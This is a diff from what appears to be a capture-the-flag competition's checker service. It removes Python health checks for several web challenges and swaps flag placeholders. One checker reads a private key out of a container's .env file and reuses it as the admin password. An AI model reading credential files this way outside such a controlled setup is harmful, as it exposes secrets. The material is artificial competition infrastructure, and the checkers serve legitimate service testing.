assert token, "Token is missing in login v4"
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
assert check_home.get('username') == username, "Different username found in login v4"
return True
except Exception as e:
self.logger.error(f'Could not check pasta: {e}')
return False
-44
View File
@@ -1,44 +0,0 @@
from .Challenge import Challenge
import requests
import os
class S3(Challenge):
flag_location = 'flags/s3.txt'
history_location = 'history/s3.txt'
host = 'http://localhost:20000'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
filename = self.random_string(8) + ".txt"
content = self.random_string(64)
r = requests.post(f"http://localhost:{self.port}/upload", files={'file': (filename, content)})
assert r.status_code == 200
assert r.text == f'Download <a href="/download?filename={filename}">here</a>'
r = requests.get(f"http://localhost:{self.port}/download?filename={filename}")
assert r.status_code == 200
assert r.text == content
return True
except Exception as e:
self.logger.error(f'Could not check s3: {e}')
return False
-66
View File
@@ -1,66 +0,0 @@
from .Challenge import Challenge
import io
import pandas as pd
import requests
import re
MOCK_DATA = [
{'name': 'John','age': 30, 'city': 'New York'},
{'name': 'Mary', 'age': 25, 'city': 'San Francisco'},
{'name': 'Peter', 'age': 45, 'city': 'Chicago'},
]
MOCK_RESULT = {
"Sheet1":{
"!ref":"A1:C4",
"A1":{"t":"s","v":"name","h":"name","w":"name"},"B1":{"t":"s","v":"age","h":"age","w":"age"},"C1":{"t":"s","v":"city","h":"city","w":"city"},
"A2":{"t":"s","v":"John","h":"John","w":"John"},"B2":{"t":"n","v":30,"w":"30"},"C2":{"t":"s","v":"New York","h":"New York","w":"New York"},
"A3":{"t":"s","v":"Mary","h":"Mary","w":"Mary"},"B3":{"t":"n","v":25,"w":"25"},"C3":{"t":"s","v":"San Francisco","h":"San Francisco","w":"San Francisco"},
"A4":{"t":"s","v":"Peter","h":"Peter","w":"Peter"},"B4":{"t":"n","v":45,"w":"45"},"C4":{"t":"s","v":"Chicago","h":"Chicago","w":"Chicago"},
"!margins":{"left":0.75,"right":0.75,"top":1,"bottom":1,"header":0.5,"footer":0.5}
}
}
class XL(Challenge):
flag_location = 'flags/xl.txt'
history_location = 'history/xl.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
url = f'http://localhost:{self.port}'
files = {'file': self.generate_mock_file()}
r = requests.post(url, files=files, timeout=5)
assert r.json() == MOCK_RESULT, 'Unexpected response'
self.logger.info('Check passed for xl')
return True
except Exception as e:
self.logger.error(f'Could not check xl: {e}')
return False
def generate_mock_file(self):
memory_file = io.BytesIO()
df = pd.DataFrame(MOCK_DATA)
df.to_excel(memory_file, index=False)
memory_file.seek(0)
return memory_file
-105
View File
@@ -1,105 +0,0 @@
from .Challenge import Challenge
from modules.blinkpdf import *
import io
import requests
import subprocess
import re
class BlinkPDF(Challenge):
flag_location = 'flags/blinkpdf.txt'
history_location = 'history/blinkpdf.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
# Getting private key
container_env = subprocess.run(
["docker", "exec", "blinkpdf_container", "cat", "/opt/.env"],
capture_output=True,
text=True
).stdout.strip()
private_key = re.search(r'PRIVATE_KEY="(.+?)"', container_env).group(1)
assert len(private_key) > 0, 'Missing PRIVATE_KEY on .env'
sess = requests.Session()
# Checking C1: Login as user
url = f'http://localhost:{self.port}/login'
data = {"username": "user", "password": "user"}
r = sess.post(url, data=data, timeout=5)
assert 'Welcome to the PDF Signature App'.lower() in r.text.lower(), 'Cannot login as user'
pdfpath = 'files/blinkpdf_hellodocs.pdf'
pdfbytes = open(pdfpath, 'rb').read()
# Checking C2: Sign pdf as user
sign_url = f'http://localhost:{self.port}/sign'
r = sess.post(sign_url, timeout=5)
sendata = ('main.pdf', pdfbytes, 'application/pdf')
filedata = {'file': sendata}
r = sess.post(sign_url, files=filedata, timeout=5)
signed_pdf = r.content
assert r.status_code == 200 and 'application/pdf' in r.headers['Content-Type'], 'Signed PDF not available or incorrect content type'
signed_pdf_stream = io.BytesIO(signed_pdf)
assert verify_signature(signed_pdf_stream, private_key), 'Algorithm for signature process is changed'
# Checking C3: Verify valid pdf as user
pdf_bytes_stream = io.BytesIO(pdfbytes)
signed_pdf_stream = sign_pdf(pdf_bytes_stream, private_key)
verify_url = f'http://localhost:{self.port}/verify'
sendata = ('main_signed.pdf', signed_pdf_stream, 'application/pdf')
filedata = {'file': sendata}
r = sess.post(verify_url, files=filedata, timeout=5)
assert 'The signature is <strong>valid</strong>.' in r.text, 'Verify function not working or algoritm verify process is changed'
# Checking C3: Verify invalid pdf as user
verify_url = f'http://localhost:{self.port}/verify'
sendata = ('main_signed.pdf', pdfbytes, 'application/pdf')
filedata = {'file': sendata}
r = sess.post(verify_url, files=filedata, timeout=5)
assert 'The signature is <strong>invalid' in r.text, 'Verify function not working or algoritm verify process is changed for invalid signature'
# Checking C4: Checking flag on container
with open(self.flag_location, 'r') as f:
host_flag = f.read().strip()
container_flag = subprocess.run(
["docker", "exec", "blinkpdf_container", "cat", "/flag.txt"],
capture_output=True,
text=True
).stdout.strip()
assert host_flag == container_flag, 'Flag mismatch between host and container'
# Checking C5: Login as admin and enc_flag checking
url = f'http://localhost:{self.port}/login'
data = {'username': "admin", "password": f'{private_key}'}
r = sess.post(url, data=data, timeout=5)
assert 'Welcome to the PDF Signature App'.lower() in r.text.lower(), 'Cannot login as admin'
url = f'http://localhost:{self.port}/admin_panel'
r = sess.get(url, timeout=5)
enc_flag = r.text.split('encrypted flag: ')[1].split('</p>')[0]
cek, dec = decryptMessage(enc_flag, private_key)
assert dec.decode() == host_flag, 'Change algorithm for encryption flag'
assert cek == True, 'Change signature algorithm for encryption flag'
self.logger.info('Check passed for blinkpdf')
return True
except Exception as e:
self.logger.error(f'Could not check blinkpdf: {e}')
return False
-93
View File
@@ -1,93 +0,0 @@
from .Challenge import Challenge
import io
import requests
import random
import subprocess
import json
class Niko(Challenge):
flag_location = 'flags/niko.txt'
history_location = 'history/niko.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
error_messages = [
"あなたはどんなオタクですか",
"冗談じゃないよ!",
"tch なんだよ こいつ",
"どうしてそんなことが可能でしょうか…不可能です",
"本当のあなたは何ですか?",
"うわー、ごめんなさい",
"御心のままに、主よ",
"もういいよ、やめて!",
"時間です",
"悪くないよ。"
]
try:
# Step 1: Check if the flag still exists and matches the one in the container
with open(self.flag_location, 'r') as f:
host_flag = f.read().strip()
container_flag = subprocess.run(
["docker", "exec", "niko_container", "cat", "/flag.txt"],
capture_output=True,
text=True
).stdout.strip()
assert host_flag == container_flag, 'Flag mismatch between host and container'
self.logger.info('Flag check passed for niko')
# Step 2: Check if can access flag
container_key = subprocess.run(
["docker", "exec", "niko_container", "cat", "/opt/flag"],
capture_output=True,
text=True
).stdout.strip()
urlFlag = f'http://localhost:{self.port}/api/getFlag?flag={container_key}'
expected_output = container_flag
response2 = requests.get(urlFlag)
assert response2.text.strip() == expected_output, 'Get Flag check does not work'
self.logger.info('Get flag endpoint check passed for niko')
# Step 3: Check if the webpage can be accessed
url = f'http://localhost:{self.port}/'
response = requests.get(url)
status_code = response.status_code
assert status_code == 200, 'Webpage is not accessible'
self.logger.info('Webpage accessibility check passed for niko')
# Step 4: Check if the output of the specific URL equals the expected string
urlFlag = f'http://localhost:{self.port}/api/getFlag?flag=1'
expected_output = "(⋟﹏⋞) 私をバカにしようとしているのか (´ ͡༎ຶ ͜ʖ ͡༎ຶ `)︵‿︵"
response2 = requests.get(urlFlag)
assert response2.text.strip() == expected_output, 'Webpage output does not match expected output'
self.logger.info('Webpage output check passed for niko')
# Step 5: Check if the chat endpoint is working
urlChat = f'http://localhost:{self.port}/api/chat'
data = 'test'
response3 = requests.post(urlChat, data=data)
assert json.loads(response3.text.strip()).get("output") in error_messages, 'Api endpoint is not accessible'
self.logger.info('Webpage delay check passed for niko')
return True
except Exception as e:
self.logger.error(f'Could not check niko: {e}')
return False
Binary file not shown.
View File
-1
View File
@@ -1 +0,0 @@
WRECKIT50{PLACEHOLDER}
-1
View File
@@ -1 +0,0 @@
WRECKIT50{PLACEHOLDER}
-1
View File
@@ -1 +0,0 @@
WRECKIT50{PLACEHOLDER}
-1
View File
@@ -1 +0,0 @@
WRECKIT50{PLACEHOLDER}
-1
View File
@@ -1 +0,0 @@
WRECKIT50{PLACEHOLDER}
-1
View File
@@ -1 +0,0 @@
WRECKIT50{PLACEHOLDER}
-1
View File
@@ -1 +0,0 @@
WRECKIT50{PLACEHOLDER}
-1
View File
@@ -1 +0,0 @@
WRECKIT50{PLACEHOLDER}
-1
View File
@@ -1 +0,0 @@
WRECKIT50{PLACEHOLDER}
-1
View File
@@ -1 +0,0 @@
WreckIT50{PLACEHOLDER}
+1
View File
@@ -0,0 +1 @@
GEMASTIK{PLACEHOLDER}
+1
View File
@@ -0,0 +1 @@
GEMASTIK{PLACEHOLDER}
-1
View File
@@ -1 +0,0 @@
WreckIT50{PLACEHOLDER}
-1
View File
@@ -1 +0,0 @@
WreckIT50{PLACEHOLDER}
-1
View File
@@ -1 +0,0 @@
WreckIT50{PLACEHOLDER}
-1
View File
@@ -1 +0,0 @@
WreckIT50{PLACEHOLDER}
+2 -8
View File
@@ -4,9 +4,6 @@ from fastapi.security import HTTPBasic, HTTPBasicCredentials
from config import get_settings
from challenges.Poke import Poke
from challenges.Wanderer import Wanderer
from challenges.Naraka import Naraka
from challenges.Niko import Niko
from challenges.Blinkpdf import BlinkPDF
import os
@@ -16,11 +13,8 @@ security = HTTPBasic()
settings = get_settings()
challenges = {
"poke": Poke(10000),
"blinkpdf": BlinkPDF(11000),
"naraka": Naraka(12000),
"wanderer": Wanderer(13000),
"niko": Niko(15000),
"blogpost": Poke(10000),
"cdn": BlinkPDF(11000),
}
class Flag(BaseModel):

Some files were not shown because too many files have changed in this diff Show More